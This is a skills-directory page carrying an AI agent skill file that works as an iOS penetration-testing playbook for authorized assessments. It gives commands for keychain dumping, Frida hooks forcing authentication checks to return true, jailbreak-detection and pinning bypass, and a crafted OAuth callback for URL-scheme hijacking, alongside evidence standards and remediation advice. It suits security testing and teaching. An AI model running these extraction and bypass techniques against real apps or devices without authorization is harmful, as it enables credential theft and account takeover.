iOS pentesting playbook. Use when testing iOS applications for keychain extraction, URL scheme hijacking, Universal Links exploitation, runtime manipulation, binary protection analysis, data storage issues, and transport security bypass during authorized mobile security assessments.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Ios Pentesting Tricks?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-ios-pentesting-tricks)
---
name: ios-pentesting-tricks
description: >-
iOS pentesting playbook. Use when testing iOS applications for keychain extraction, URL scheme hijacking, Universal Links exploitation, runtime manipulation, binary protection analysis, data storage issues, and transport security bypass during authorized mobile security assessments.
---
# SKILL: iOS Pentesting Tricks — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert iOS application security testing techniques. Covers jailbreak vs non-jailbreak methodology, keychain extraction, URL scheme/Universal Links abuse, Frida/Objection runtime hooks, binary protection checks, and data storage analysis. Base models miss protection class nuances and AASA misconfiguration patterns.
## 0. RELATED ROUTING
Before going deep, consider loading:
- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth SSL pinning bypass (SecTrust hooks, SSL Kill Switch, framework-specific techniques)
- [android-pentesting-tricks](../android-pentesting-tricks/SKILL.md) when also testing the Android version of the same app
- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted
### Advanced Reference
Also load [IOS_RUNTIME_TRICKS.md](./IOS_RUNTIME_TRICKS.md) when you need:
- Frida recipes for iOS-specific hooks (ObjC class enumeration, method swizzling)
- Objection command reference for iOS
- Runtime hooking patterns and bypass templates
---
## 1. JAILBREAK VS NON-JAILBREAK TESTING
| Capability | Jailbroken | Non-Jailbroken |
|---|---|---|
| SSL pinning bypass | Frida, SSL Kill Switch 2, Objection | Network debugging proxy, MITM profiles (limited) |
| Keychain access | keychain-dumper, Frida dump | Only via backup extraction (limited) |
| Filesystem inspection | Full access to app sandbox | Only via `ideviceinstaller` + backup |
| Runtime manipulation | Frida, Cycript, LLDB attach | Frida on sideloaded apps (re-signed) |
| Binary analysis | Class-dump, Hopper on-device | Decrypt IPA on Mac, analyze offline |
| Method hooking | Full Frida/Cycript capability | Limited (needs re-signed app + Frida gadget) |
### Non-Jailbreak Testing Setup
```bash
# Extract IPA from device
ideviceinstaller -l # List installed apps
ios-deploy --id <UDID> --download --bundle_id com.target.app
# Or use frida-ios-dump for decrypted IPA (jailbroken)
python dump.py com.target.app
# Sideload with Frida gadget (non-jailbreak runtime hooking)
# 1. Extract IPA, 2. Insert FridaGadget.dylib into Frameworks/
# 3. Re-sign with valid profile, 4. Install via ios-deploy
```
---
## 2. KEYCHAIN EXTRACTION
### 2.1 Keychain Protection Classes
| Protection Class | Availability | Use Case | Risk Level |
|---|---|---|---|
| `kSecAttrAccessibleWhenUnlocked` | Only when device unlocked | Passwords, tokens | Medium |
| `kSecAttrAccessibleAfterFirstUnlock` | After first unlock until reboot | Background tokens | High (persists across locks) |
| `kSecAttrAccessibleAlways` | Always (deprecated iOS 12+) | Legacy apps | Critical |
| `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` | Passcode set + unlocked | High-value secrets | Low |
### 2.2 Extraction Methods
```bash
# Jailbroken: keychain-dumper
/path/to/keychain-dumper -a # Dump all accessible items
/path/to/keychain-dumper -g password # Generic passwords only
/path/to/keychain-dumper -i # Internet passwords
# Frida / Objection
objection -g com.target.app explore
> ios keychain dump
> ios keychain dump --json # JSON output for parsing
# Frida script for keychain enumeration
frida -U -f com.target.app -l keychain_dump.js
```
### 2.3 What to Look For
| Item Type | Keychain Class | Typical Content |
|---|---|---|
| `kSecClassGenericPassword` | `genp` | App tokens, API keys, user credentials |
| `kSecClassInternetPassword` | `inet` | HTTP auth credentials, OAuth tokens |
| `kSecClassCertificate` | `cert` | Client certificates |
| `kSecClassIdentity` | `idnt` | Cert + private key pair |
| `kSecClassKey` | `keys` | Encryption keys |
---
## 3. URL SCHEME HIJACKING
### 3.1 Custom URL Scheme Discovery
```bash
# From IPA/app bundle — check Info.plist
plutil -p /path/to/Payload/Target.app/Info.plist | grep -A 10 CFBundleURLTypes
# Example output:
# "CFBundleURLSchemes" => ["targetapp", "fb123456789"]
```
### 3.2 Hijacking Attack
```
Scenario: Target app registers "targetapp://" for OAuth callback
1. Attacker app also registers "targetapp://" URL scheme
2. User initiates OAuth login in target app
3. OAuth provider redirects to targetapp://callback?code=AUTH_CODE
4. iOS may open attacker's app instead (non-deterministic scheme resolution)
5. Attacker captures OAuth authorization code
```
| Attack Vector | Technique | Impact |
|---|---|---|
| OAuth callback interception | Register same scheme | Steal authorization codes |
| Deep link hijacking | Register same scheme | Phishing, data interception |
| Payment callback interception | Register payment scheme | Transaction manipulation |
### 3.3 URL Scheme vs Universal Links Security
| Feature | Custom URL Scheme | Universal Links |
|---|---|---|
| Registration | Any app can claim any scheme | Requires AASA file on domain |
| Uniqueness | Not guaranteed (multiple apps) | One app per domain path |
| Validation | None | Cryptographic (AASA signed) |
| Recommended for | Non-sensitive navigation | OAuth callbacks, sensitive actions |
| Hijackable | Yes (duplicate registration) | Only via AASA misconfiguration |
---
## 4. UNIVERSAL LINKS EXPLOITATION
### 4.1 AASA (Apple-App-Site-Association) Misconfiguration
```bash
# Fetch AASA file
curl -s "https://target.com/.well-known/apple-app-site-association" | jq .
curl -s "https://target.com/apple-app-site-association" | jq .
# Check for wildcard patterns (overly broad)
# Bad: "paths": ["*"] ← captures ALL URLs
# Bad: "paths": ["/NOT *"] ← poorly written exclusion
```
| Misconfiguration | Risk | Exploitation |
|---|---|---|
| Wildcard paths (`*`) | App claims all URLs on domain | Redirect chain may break UL → fallback to URL scheme |
| Missing AASA file | Universal Links won't work | App falls back to less-secure URL scheme |
| AASA on wrong domain | Links not associated | Scheme hijacking possible |
| AASA not served as `application/json` | Parsing failure | Links won't associate |
| CDN caching stale AASA | Outdated associations | Inconsistent behavior |
### 4.2 Breaking Universal Links → URL Scheme Fallback
```
Technique: Force Universal Link to not open app, causing fallback to URL scheme
1. User long-presses link → "Open in Safari" (disables UL for that domain)
2. Redirect chain: domain A → domain B → target (UL breaks on redirect)
3. JavaScript redirect instead of 302 (UL only works on server-side redirects)
4. App not installed → URL scheme fallback → hijackable
```
---
## 5. RUNTIME MANIPULATION
### 5.1 Frida on iOS
```text
# Connect to app on jailbroken device
frida -U -f com.target.app --no-pause
# Basic ObjC exploration
> ObjC.classes # List all classes
> ObjC.classes.NSURLSession # Check if class exists
> ObjC.classes.AppDelegate.$methods # List methods
> ObjC.classes.AppDelegate['- isLoggedIn'].implementation # Read method
# Hook method and modify return value
Interceptor.attach(ObjC.classes.AuthManager['- isAuthenticated'].implementation, {
onLeave: function(retval) {
retval.replace(ptr(1)); // Force return TRUE
}
});
```
### 5.2 Objection iOS Commands
```bash
objection -g com.target.app explore
# Keychain
> ios keychain dump
# Cookies
> ios cookies get
# Pasteboard
> ios pasteboard monitor
# Jailbreak detection bypass
> ios jailbreak disable
# SSL pinning bypass
> ios sslpinning disable
# Binary info
> ios info binary
# Hooking
> ios hooking watch class AppDelegate
> ios hooking watch method "-[AuthManager isAuthenticated]" --dump-args --dump-return
> ios hooking set return_value "-[AuthManager isJailbroken]" false
```
### 5.3 Cycript (Legacy but Useful)
```javascript
// Attach to running app
cycript -p com.target.app
// Explore UI hierarchy
UIApp.keyWindow.recursiveDescription().toString()
// Find view controllers
[UIWindow.keyWindow().rootViewController _printHierarchy].toString()
// Call methods directly
[AppDelegate.sharedInstance isLoggedIn] // → check return
AppDelegate.sharedInstance.isLoggedIn = true // → modify
// Access singleton instances
var vc = choose(LoginViewController)[0]
vc.bypassLogin()
```
---
## 6. BINARY PROTECTIONS
### 6.1 Checking Binary Security
```bash
# PIE (Position Independent Executable)
otool -hv /path/to/binary | grep PIE
# ARC (Automatic Reference Counting)
otool -I -v /path/to/binary | grep objc_release
# Stack canaries
otool -I -v /path/to/binary | grep __stack_chk_guard
# Encryption (FairPlay DRM)
otool -l /path/to/binary | grep -A 4 LC_ENCRYPTION_INFO
# cryptid 0 = decrypted, cryptid 1 = encrypted
```
| Protection | Check | Missing Impact |
|---|---|---|
| PIE | `MH_PIE` flag in header | ASLR disabled → predictable addresses |
| ARC | `_objc_release` symbol | Use-after-free more likely |
| Stack Canaries | `__stack_chk_guard` | Buffer overflow exploitation easier |
| Encryption | `cryptid` value | Binary readable without decryption |
### 6.2 Decrypting IPA
```bash
# frida-ios-dump (preferred, jailbroken device)
python dump.py com.target.app
# Outputs: decrypted IPA in current directory
# bagbak (alternative)
bagbak com.target.app
# Manual via Frida
frida -U -f com.target.app -l dump_memory.js
# Dump decrypted binary from memory, replace encrypted section
```
### 6.3 Class-dump for ObjC Analysis
```bash
# Dump Objective-C class information
class-dump /path/to/decrypted/binary > classes.h
class-dump -H /path/to/decrypted/binary -o /tmp/headers/
# Search for interesting patterns
grep -r "password\|token\|secret\|apiKey\|isJailbroken\|isRooted" /tmp/headers/
```
---
## 7. DATA STORAGE ISSUES
### 7.1 Sensitive Data Locations
| Location | Path | What to Check |
|---|---|---|
| NSUserDefaults | `Library/Preferences/<bundle-id>.plist` | Tokens, user data, feature flags |
| Core Data (SQLite) | `Library/Application Support/*.sqlite` | Cached API responses, user records |
| Keychain | System keychain database | Credentials, keys (check protection class) |
| Cookies | `Library/Cookies/Cookies.binarycookies` | Session cookies |
| Cache | `Library/Caches/` | Cached API responses, images with PII |
| Screenshots | `Library/SplashBoard/Snapshots/` | App state captured on background |
| Keyboard cache | `Library/Keyboard/` | Autocomplete entries with sensitive input |
| Pasteboard | System pasteboard | Copied passwords, tokens |
| WebView storage | `Library/WebKit/WebsiteData/` | LocalStorage, IndexedDB, cookies |
### 7.2 Inspection Commands
```bash
# On jailbroken device — app sandbox at:
# /var/mobile/Containers/Data/Application/<UUID>/
# Find app UUID
find /var/mobile/Containers -name "com.target.app" 2>/dev/null
# Check NSUserDefaults
plutil -p Library/Preferences/com.target.app.plist
# Check SQLite databases
sqlite3 Library/Application\ Support/Model.sqlite ".tables"
sqlite3 Library/Application\ Support/Model.sqlite "SELECT * FROM ZUSER;"
# Check for sensitive strings in all files
grep -r "password\|token\|bearer\|api_key" Documents/ Library/
```
---
## 8. TRANSPORT SECURITY (ATS)
### 8.1 ATS Exception Patterns
```xml
<!-- Info.plist — check for ATS exceptions -->
<key>NSAppTransportSecurity</key>
<dict>
<!-- WORST: disables ATS entirely -->
<key>NSAllowsArbitraryLoads</key>
<true/>
<!-- BAD: specific domain exceptions -->
<key>NSExceptionDomains</key>
<dict>
<key>insecure-api.target.com</key>
<dict>
<key>NSExceptionAllowsInsecureHTTPLoads</key>
<true/>
<key>NSExceptionMinimumTLSVersion</key>
<string>TLSv1.0</string>
</dict>
</dict>
</dict>
```
| ATS Setting | Risk | Notes |
|---|---|---|
| `NSAllowsArbitraryLoads = true` | Critical | All HTTP allowed |
| `NSExceptionAllowsInsecureHTTPLoads` | High | HTTP for specific domain |
| `NSExceptionMinimumTLSVersion = TLSv1.0` | Medium | Weak TLS |
| `NSAllowsArbitraryLoadsInWebContent` | Medium | WebView can load HTTP |
| No ATS exceptions | Low | Proper configuration |
---
## 9. IOS PENTESTING DECISION TREE
```
Testing iOS application
│
├── Device jailbroken?
│ ├── Yes → full testing capability
│ │ ├── Keychain dump → ios keychain dump (§2)
│ │ ├── Filesystem inspection → check all data storage (§7)
│ │ ├── Runtime hooks → Frida/Objection (§5)
│ │ └── Binary analysis → class-dump decrypted binary (§6)
│ └── No → limited testing
│ ├── Re-sign with Frida gadget for runtime access
│ ├── Backup extraction for data analysis
│ └── Network-level testing (proxy + SSL bypass)
│
├── SSL pinning blocking proxy?
│ └── Yes → see mobile-ssl-pinning-bypass SKILL.md
│
├── URL schemes registered?
│ ├── OAuth callback via URL scheme? → hijacking risk (§3.2)
│ ├── Universal Links configured? → check AASA (§4.1)
│ └── Scheme used for sensitive actions? → test interception
│
├── Binary protections adequate?
│ ├── Missing PIE? → ASLR disabled (§6.1)
│ ├── No stack canaries? → overflow risk (§6.1)
│ └── Still encrypted? → decrypt first (§6.2)
│
├── Data storage secure?
│ ├── Tokens in NSUserDefaults? → plaintext extraction (§7.1)
│ ├── Keychain protection class? → AfterFirstUnlock = risky (§2.1)
│ ├── Screenshots captured? → check Snapshots dir (§7.1)
│ └── Keyboard cache? → check for sensitive autocomplete (§7.1)
│
├── ATS configured?
│ ├── ArbitraryLoads = true? → HTTP downgrade possible (§8)
│ └── Domain exceptions? → targeted HTTP interception
│
└── Runtime manipulation needed?
├── Jailbreak detection blocking? → ios jailbreak disable (§5.2)
├── Need to bypass auth check? → hook + modify return (§5.1)
└── Need to trace API calls? → method hooking (§5.2)
```
---
---
## 10. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Is the app's container **accessible** (`decrypt`/`class-dump` succeeded, or `objection` attached)? | the analysis surface exists |
| 2 | Did the **read return data the app intends to protect** (a token, a key, a cached credential)? | impact, not just decryption |
| 3 | For a URL scheme: did a **different app receive the callback** or the data? | hijacking, not just registration |
| 4 | For ATS: did the traffic **appear in your proxy** for a host that should have been pinned or TLS-only? | the control gap |
| 5 | Is there a **control** - the same action failing on the unmodified or non-jailbroken build? | the bypass is the cause |
| 6 | Does the finding hold on a **release build distributed through the App Store**? | whether it is a debug artefact |
| 7 | Is the extracted value **still valid** at report time? | live impact |
**The read plus a control is the bar.** A successful `decrypt` binary is an analysis milestone; a token
read out of the keychain that authenticates to the API is the finding.
---
## 11. EXECUTION PRIMITIVES
iOS findings are proven by **extracting or intercepting a value and using it**. Every block ends at data
or a demonstrated interception.
### 11.1 Device state and the analysis pass
```bash
# what kind of device, and whether you can reach the app's container
ideviceinfo -k ProductVersion 2>/dev/null; frida-ps -U 2>/dev/null | head -10
# the app bundle, and whether the binary is encrypted (App Store builds are)
APP="Target"
ideviceinstaller -l 2>/dev/null | grep -i "$APP" | head -3
frida-ios-dump -l 2>/dev/null | head -5
# the control: what you can and cannot reach without a jailbroken device
objection -g "$APP" explore -q 2>&1 | head -3
```
**Record the device state and the build provenance first.** "Extracted on a jailbroken device from a
local build" and "extracted on a jailbroken device from the App Store build" are different findings.
### 11.2 Keychain and storage extraction
```bash
# the app's container on disk, which holds the caches and databases
APPID=$(frida-ps -Ua 2>/dev/null | grep -i "$APP" | awk '{print $2}' | head -1)
ssh root@DEVICE_IP "find /var/mobile/Containers/Data/Application -name '*.sqlite' -o -name '*.plist' | head -20"
# the keychain, dumped with the app's entitlements
ssh root@DEVICE_IP "cat /var/mobile/Containers/Data/Application/*/Library/Preferences/*.plist 2>/dev/null | head -20"
objection -g "$APP" explore -q -c "ios keychain dump" 2>&1 | head -20
# and the files the app writes outside its sandbox, which is the real finding
ssh root@DEVICE_IP "ls -la /var/mobile/Media/ 2>/dev/null | head -10"
# the artefacts at rest, with a check for whether they were encrypted
ssh root@DEVICE_IP "find /var/mobile/Containers/Data/Application -name '*.sqlite' | head -3 | xargs -I{} sqlite3 {} '.tables' 2>/dev/null" | head -10
```
**The keychain dump plus the value it holds is the finding.** A dump listing item names, without the
values, is a hardening note - read one item and show its content.
### 11.3 URL scheme hijacking, demonstrated
```bash
# what the app registers for
python3 - <<'PY'
import plistlib, glob
for p in glob.glob('/tmp/payload/Payload/*.app/Info.plist'):
d = plistlib.load(open(p, 'rb'))
for t in d.get('CFBundleURLTypes', []):
print('scheme:', t.get('CFBundleURLSchemes'), '| name:', t.get('CFBundleURLName'))
PY
# the hijack: your app registers the same scheme, and the system may route to you
# prove it by observing the callback arriving at YOUR handler instead of the target
# (on a jailbroken device, install a probe app with the same scheme and log the invocation)
ssh root@DEVICE_IP "log stream --predicate 'eventMessage CONTAINS \"openurl\"' 2>/dev/null | head -20" &
# and the crafted link that triggers the flow
xcrun simctl openurl booted "targetapp://oauth/callback?code=ATTACKER_CODE" 2>/dev/null
```
**The callback arriving at your handler is the finding.** A registered scheme is a surface; a callback
you received is the hijack.
### 11.4 ATS and pinning, with the control
```bash
# the control: traffic to a pinned host must NOT appear through the proxy
mitmproxy -p 8080 &
# route the device through the proxy, then exercise the app against the pinned host
# (device proxy configuration via the network settings or a profile)
echo "control: request to api.target.app -> expect a TLS failure in mitmproxy's log"
# then check the app's ATS configuration, which is where the exceptions live
python3 - <<'PY'
import plistlib, glob
for p in glob.glob('/tmp/payload/Payload/*.app/Info.plist'):
d = plistlib.load(open(p, 'rb'))
a = d.get('NSAppTransportSecurity', {})
print('ATS present:', bool(a), '| allows arbitrary loads:', a.get('NSAllowsArbitraryLoads'))
for dom, cfg in (a.get('NSExceptionDomains') or {}).items():
print(' exception domain:', dom, '| subdomains:', cfg.get('NSIncludesSubdomains'),
'| arbitrary:', cfg.get('NSExceptionAllowsInsecureHTTPLoads'))
PY
# and the patched state: with a Frida unpin script, the same request must now succeed
frida -U -f "$APP" -l /tmp/ios-unpin.js 2>&1 | head -5 &
sleep 5; echo "patched: request to api.target.app -> expect a 200 through the proxy"
```
**The control pair is the evidence.** A request that went through the proxy after a patch, with no
recorded failure before it, is not a pinning bypass - it is an app that does not pin.
### 11.5 Runtime manipulation and binary protections
```bash
# the binary protections actually present, checked against the shipped binary
otool -hv /tmp/payload/Payload/*.app/Target 2>/dev/null | head -3
otool -l /tmp/payload/Payload/*.app/Target 2>/dev/null | grep -A4 -iE 'LC_ENCRYPTION_INFO|__RESTRICT' | head -12
# PIE, stack canaries, and ARC, each of which changes what exploitation is possible
otool -Iv /tmp/payload/Payload/*.app/Target 2>/dev/null | grep -ciE 'stack_chk_fail|objc_release'
# and the runtime hook, which proves the method is swizzleable
objection -g "$APP" explore -q -c "ios hooking list classes" 2>&1 | head -20
objection -g "$APP" explore -q -c "ios hooking watch class_method '-[TargetAuth validateToken:]' --dump-args --dump-return" 2>&1 | head -10 &
```
**A method whose arguments and return value you dumped is the finding**, because it shows the
client-side check can be observed and replaced. Reporting the missing PIE bit alone is a hardening note.
### 11.6 Data storage in the wrong place
```bash
# what the app writes outside its container, and with what protection class
ssh root@DEVICE_IP "find /var/mobile/Containers/Shared/AppGroup -name '*.plist' -o -name '*.sqlite' 2>/dev/null | head -20"
ssh root@DEVICE_IP "ls -la /var/mobile/Media/DCIM /var/mobile/Media/Downloads 2>/dev/null | head -20"
# and whether a credential is stored with a class that survives a locked device
objection -g "$APP" explore -q -c "ios keychain dump" 2>&1 | grep -iE 'accessible|kSecAttrAccessible' | head -10
# the proof: read the item while the device is locked, which the wrong class allows
ssh root@DEVICE_IP "security find-generic-password -a '$APP' -w 2>/dev/null" | head -c 100; echo
```
**A credential readable while the device is locked, because it was stored with
`kSecAttrAccessibleAlways`, is the finding.** That specific attribute is what the report should name.
### 11.7 A harness that reports device state, control, and artefact
```bash
python3 - <<'PY'
import subprocess
def sh(cmd, timeout=30):
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return (r.stdout + r.stderr).strip()[:90]
except Exception as e:
return type(e).__name__
APP = "Target"
print("A. Device and tooling reachability")
print(" frida devices :", sh("frida-ps -U 2>/dev/null | wc -l"))
print(" app installed :", sh("frida-ps -Ua 2>/dev/null | grep -ci " + APP))
print("B. Binary protections (report the missing ones as hardening, not findings)")
print(" ", sh("otool -hv /tmp/payload/Payload/*.app/%s 2>/dev/null | head -2" % APP))
print("C. The control for any pinning claim")
print(" ", "request the pinned host through the proxy BEFORE patching; record the failure")
print("D. The artefact")
print(" ", "one keychain item value, one intercepted response, or one hijacked callback URL")
print()
print("Report: device state, build provenance, the control, and the artefact.")
print("A successful decrypt is a milestone; the read value is the finding.")
PY
```
**Device state, protections, control, artefact.** A report missing the control cannot distinguish a
bypass from an app with no protection.
---
## 12. EVIDENCE STANDARD
| Item | Why |
|---|---|
| **Device model, iOS version, and jailbreak state** | it determines whether the finding applies to real users |
| **App version and build provenance** (App Store, TestFlight, local, enterprise) | it determines whether the finding shipped |
| The **Info.plist entry or binary flag** that establishes the exposure | the fix location |
| The **exact command and its raw output** | reproducibility |
| The **extracted or intercepted value**, redacted | impact |
| The **control** - the same action failing without the patch or on the unmodified build | proves the bypass |
| Whether the value is **readable while the device is locked** | the keychain class finding |
| The **keychain attribute** or **ATS exception** named, where applicable | the remediation target |
| The **server-side consequence** of using the extracted value | the severity driver |
| Confirmation that **extracted data was deleted** and no account state changed | engagement integrity |
Report the **extraction and the value**: "on a jailbroken iPhone 13 running iOS 16.4, `objection -g
Target explore -c 'ios keychain dump'` returned the item `auth_token` with
`kSecAttrAccessibleAlways`, and the plaintext value authenticated to `https://api.target.app/v1/me` as
the signed-in user; the same item is readable from `ssh root@DEVICE_IP security find-generic-password`
while the device is locked, because `kSecAttrAccessibleAlways` does not require an unlocked device. The
build is an App Store release, so the finding applies to real users. The token was used for a single
read and no state was modified", never "the app stores credentials in the keychain".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| A decrypted binary with **no value extracted** | an analysis milestone, not a finding |
| A keychain item **name** without its value | storage of a name is not a disclosure |
| Missing PIE or a missing canary | a hardening note; exploitation is required for severity |
| A URL scheme registered but **no hijack demonstrated** | a surface, not a finding |
| An ATS exception for a **domain the app must reach over plaintext** | verify it is unintended before reporting |
| A pinning "bypass" with **no failing control** | the app may not pin |
| Data readable **only on a jailbroken device from a local build** | does not apply to shipped users |
| A debug log line **in a debug build** | report only if it ships in release |
| A finding on a **simulator** | the simulator is not a device environment |
| An extracted token that **had already expired** | verify liveness before reporting |
| A keychain dump listing items but **no readable value** | scope the finding to what you actually read |
**Value, control, provenance.** Three questions; a mobile finding without all three is unverifiable.
---
## 13. REMEDIATION REFERENCE
1. **Store credentials in the keychain with `kSecAttrAccessibleWhenUnlockedThisDeviceOnly`** - it removes the locked-device read and the backup-to-another-device path in one attribute.
2. **Never store tokens, keys, or personal data in `NSUserDefaults`, plists, or SQLite databases without encryption** - the container is readable on a jailbroken device and in an unencrypted backup.
3. **Validate URL scheme callbacks with a nonce or PKCE, and prefer universal links over custom schemes** - a custom scheme can be claimed by any installed app.
4. **Use universal links with a correctly hosted `apple-app-site-association`, and validate the incoming URL's structure** - it removes the ambiguity a custom scheme introduces.
5. **Remove ATS exceptions and require TLS 1.2 or later with forward secrecy** - an `NSAllowsArbitraryLoads` entry is a plaintext path for the whole app.
6. **Implement pinning as an additional control, not the only one, and keep authorization decisions server-side** - a jailbroken device can unhook any client check.
7. **Enable PIE, stack canaries, and ARC, and strip symbols in release builds** - it raises the cost of binary exploitation, and it is a build-setting change.
8. **Never log sensitive values, and treat `os_log` and `NSLog` as readable** - device logs are accessible to anyone with the device.
9. **Set `com.apple.security.get-task-allow` to false in release builds and verify the entitlement** - it is what allows a debugger to attach to a shipped app.
10. **Encrypt local caches and databases with a key stored in the keychain, and clear them on logout** - it bounds what a device compromise yields.
11. **Add jailbreak detection as a signal to the server, not as a gate on the client** - the server must decide what a tampered client is allowed to do.
---
## 14. RELATED SIBLINGS - LOAD TOGETHER
- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) - the interception prerequisite for the runtime findings here
- [android-pentesting-tricks](../android-pentesting-tricks/SKILL.md) - the platform counterpart with the same evidence discipline
- [jwt-oauth-token-attacks](../jwt-oauth-token-attacks/SKILL.md) - what the extracted token is used for
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) - where a hijacked callback's code is redeemed
- [insecure-source-code-management](../insecure-source-code-management/SKILL.md) - the hardcoded keys found in the decrypted binary